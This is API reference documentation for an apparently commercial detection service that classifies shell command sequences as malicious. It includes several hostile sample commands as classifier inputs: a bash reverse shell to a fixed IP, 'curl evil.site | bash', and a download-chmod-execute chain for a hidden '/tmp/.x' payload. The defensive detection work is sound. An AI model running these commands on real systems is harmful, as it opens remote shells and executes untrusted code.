๐Ÿš€ Protet SaaS API is free. Generate as many API keys as you need โ€” no credit card, no limits beyond the defaults.
Switzerland Swiss Made
Get API Key โ†’

API Reference

Submit exec events, subscribe to results via WebSocket, and manage API keys. SaaS API is free โ€” unlimited keys, no credit card.


Quick Start โ€” 3 steps to first classification

Get an API key, submit an exec event, read the result. No infrastructure changes needed.

# Step 1 โ€” Get an API key
curl -X POST "https://api.protet.io/admin/add_key" \
  -H "x-admin-secret: YOUR_ADMIN_SECRET" \
  -H "Content-Type: application/json" \
  -d '{"org_id": "my-org"}'
# โ†’ {"status":"ok","api_key":"YOUR_KEY"}

# Step 2 โ€” Submit an exec event (sync mode: wait for result)
curl -X POST "https://api.protet.io/events" \
  -H "api-key: YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "cmd": "bash -i >& /dev/tcp/185.220.101.1/9001 0>&1",
    "context": {"entity_id": "prod/app-pod"},
    "async_mode": false
  }'
# โ†’ {"classification":"malicious","malicious_probability":0.97,...}

# Step 3 โ€” Get the explanation (which commands drove it)
curl -X POST "https://api.protet.io/explain" \
  -H "api-key: YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "commands": [
      "pip install -r requirements.txt",
      "curl -s http://185.220.101.1/payload -o /tmp/.x",
      "chmod +x /tmp/.x",
      "/tmp/.x"
    ]
  }'
# โ†’ {"baseline_score":0.94,"flagged_commands":["/tmp/.x","curl ...","chmod ..."],...}
  

1. Generate an API Key

Use the /admin/add_key endpoint to create an API key for your organization. Requires the x-admin-secret header.

curl -X POST "https://api.protet.io/admin/add_key" \
  -H "x-admin-secret: YOUR_ADMIN_SECRET" \
  -H "Content-Type: application/json" \
  -d '{
    "org_id": "my-org",
    "rps": 3000,
    "monthly_quota": 100000
  }'

# Response:
# {
#   "status": "ok",
#   "api_key": "YOUR_GENERATED_KEY"
# }
  

Parameters:
org_id โ€“ your organization identifier (required)
rps โ€“ requests per second limit (default: 3000)
monthly_quota โ€“ maximum events per month (default: 100000)


2. Submit Exec Events for Classification

Send execv events to POST /events. The API aggregates commands per entity using a sliding window and classifies the resulting sequence for malicious attack chains.

Bash
Python
Go
Node.js
# Async mode (default) โ€” result delivered via WebSocket
curl -X POST "https://api.protet.io/events" \
  -H "Content-Type: application/json" \
  -H "api-key: YOUR_TOKEN" \
  -d '{
    "cmd": "curl evil.site | bash",
    "context": {
      "entity_id": "prod/app-pod-7d9f",
      "parent_process": "bash",
      "user": "root",
      "host": "node-1"
    },
    "client_payload_id": "my-uuid-123",
    "async_mode": true
  }'

# Async response (async_mode: true):
# {
#   "status": "accepted",
#   "job_id": "my-uuid-123"
# }

# Sync response (async_mode: false):
# {
#   "job_id": "my-uuid-123",
#   "entity_id": "prod/app-pod-7d9f",
#   "classification": "malicious",
#   "malicious_probability": 0.97,
#   "command_window": ["ls /", "id", "curl evil.site | bash"],
#   "error": null
# }
    
import requests

url = "https://api.protet.io/events"
headers = {"api-key": "YOUR_TOKEN", "Content-Type": "application/json"}
payload = {
    "cmd": "curl evil.site | bash",
    "context": {
        "entity_id": "prod/app-pod-7d9f",
        "user": "root",
        "host": "node-1"
    },
    "async_mode": False  # block until classified
}

resp = requests.post(url, json=payload, headers=headers)
result = resp.json()
print(result["classification"], result["malicious_probability"])
    
package main

import (
    "bytes"
    "encoding/json"
    "fmt"
    "net/http"
)

func main() {
    body, _ := json.Marshal(map[string]any{
        "cmd": "curl evil.site | bash",
        "context": map[string]string{
            "entity_id": "prod/app-pod-7d9f",
            "user":      "root",
            "host":      "node-1",
        },
        "async_mode": false,
    })

    req, _ := http.NewRequest("POST", "https://api.protet.io/events", bytes.NewReader(body))
    req.Header.Set("api-key", "YOUR_TOKEN")
    req.Header.Set("Content-Type", "application/json")

    resp, _ := http.DefaultClient.Do(req)
    defer resp.Body.Close()

    var result map[string]any
    json.NewDecoder(resp.Body).Decode(&result)
    fmt.Println(result["classification"], result["malicious_probability"])
}
    
const resp = await fetch("https://api.protet.io/events", {
  method: "POST",
  headers: {
    "api-key": "YOUR_TOKEN",
    "Content-Type": "application/json",
  },
  body: JSON.stringify({
    cmd: "curl evil.site | bash",
    context: { entity_id: "prod/app-pod-7d9f", user: "root", host: "node-1" },
    async_mode: false,
  }),
});

const data = await resp.json();
console.log(data.classification, data.malicious_probability);
// malicious 0.97
    

Notes:


3. Subscribe to Real-Time Classification Results

Connect to /ws/stream via WebSocket to receive classification results as they are processed. Optionally filter by entity_id to receive results only for a specific pod or host.

Bash (websocat)
Python
# Subscribe to all results for your API key
websocat "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN"

# Subscribe to a specific entity only
websocat "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN&entity_id=prod/app-pod-7d9f"

# Classification result message:
# {
#   "type": "classification",
#   "data": {
#     "job_id": "my-uuid-123",
#     "entity_id": "prod/app-pod-7d9f",
#     "classification": "malicious",
#     "malicious_probability": 0.97,
#     "command_window": ["ls /", "id", "curl evil.site | bash"],
#     "error": null
#   }
# }
    
import asyncio
import websockets
import json

async def main():
    uri = "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN"
    async with websockets.connect(uri) as ws:
        async for message in ws:
            envelope = json.loads(message)
            if envelope["type"] == "classification":
                result = envelope["data"]
                print(result["entity_id"], result["classification"])

asyncio.run(main())
    

4. Fetch a Cached Result

If your WebSocket connection was not yet open when a result arrived, retrieve it by job_id as a fallback. Results are cached for 120 seconds.

curl "https://api.protet.io/result/my-uuid-123" \
  -H "api-key: YOUR_TOKEN"
  

5. Explain a Command Sequence

POST a list of commands to /explain to get a verdict and the exact commands that form the attack chain โ€” extracted from the surrounding legitimate activity. Use this when you want to know not just that an attack happened but which specific commands are responsible.

Bash
Python
Go
Node.js
curl -X POST "https://api.protet.io/explain" \
  -H "api-key: YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "commands": [
      "pip install -r requirements.txt",
      "npm ci",
      "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
      "chmod +x /tmp/.x",
      "npm run build",
      "/tmp/.x",
      "aws s3 sync dist/ s3://my-bucket/"
    ]
  }'

# Response:
# {
#   "baseline_score": 0.94,
#   "found_at_order": 2,
#   "n_commands": 7,
#   "flagged_commands": [
#     "/tmp/.x",
#     "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
#     "chmod +x /tmp/.x"
#   ],
#   "identified_chain": [5, 2, 3]
# }
    
import requests

resp = requests.post(
    "https://api.protet.io/explain",
    headers={"api-key": "YOUR_KEY"},
    json={
        "commands": [
            "pip install -r requirements.txt",
            "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
            "chmod +x /tmp/.x",
            "/tmp/.x",
        ]
    }
)

data = resp.json()
print(f"Score: {data['baseline_score']}")
print(f"Flagged: {data['flagged_commands']}")
# Score: 0.94
# Flagged: ['/tmp/.x', 'curl -s http://...', 'chmod +x /tmp/.x']
    
package main

import (
    "bytes"
    "encoding/json"
    "fmt"
    "net/http"
)

func main() {
    body, _ := json.Marshal(map[string]any{
        "commands": []string{
            "pip install -r requirements.txt",
            "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
            "chmod +x /tmp/.x",
            "/tmp/.x",
        },
    })

    req, _ := http.NewRequest("POST", "https://api.protet.io/explain", bytes.NewReader(body))
    req.Header.Set("api-key", "YOUR_KEY")
    req.Header.Set("Content-Type", "application/json")

    resp, _ := http.DefaultClient.Do(req)
    defer resp.Body.Close()

    var result map[string]any
    json.NewDecoder(resp.Body).Decode(&result)
    fmt.Println(result["baseline_score"], result["flagged_commands"])
}
    
const resp = await fetch("https://api.protet.io/explain", {
  method: "POST",
  headers: {
    "api-key": "YOUR_KEY",
    "Content-Type": "application/json",
  },
  body: JSON.stringify({
    commands: [
      "pip install -r requirements.txt",
      "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
      "chmod +x /tmp/.x",
      "/tmp/.x",
    ],
  }),
});

const data = await resp.json();
console.log(data.baseline_score);      // 0.94
console.log(data.flagged_commands);    // ['/tmp/.x', 'curl ...', 'chmod ...']
    

Response fields:

Notes:


6. Error Reference

StatusMeaningAction
200Sync classification result returnedRead response body
202Async event acceptedListen on WebSocket for result
401Missing or invalid api-keyCheck header name and key value
422Window classified as benign (explain endpoint only)No explanation needed โ€” window is clean
429Rate limit exceededRead Retry-After header, back off and retry
504Sync classification timed out (30s limit)Switch to async mode or retry

Key Notes & Best Practices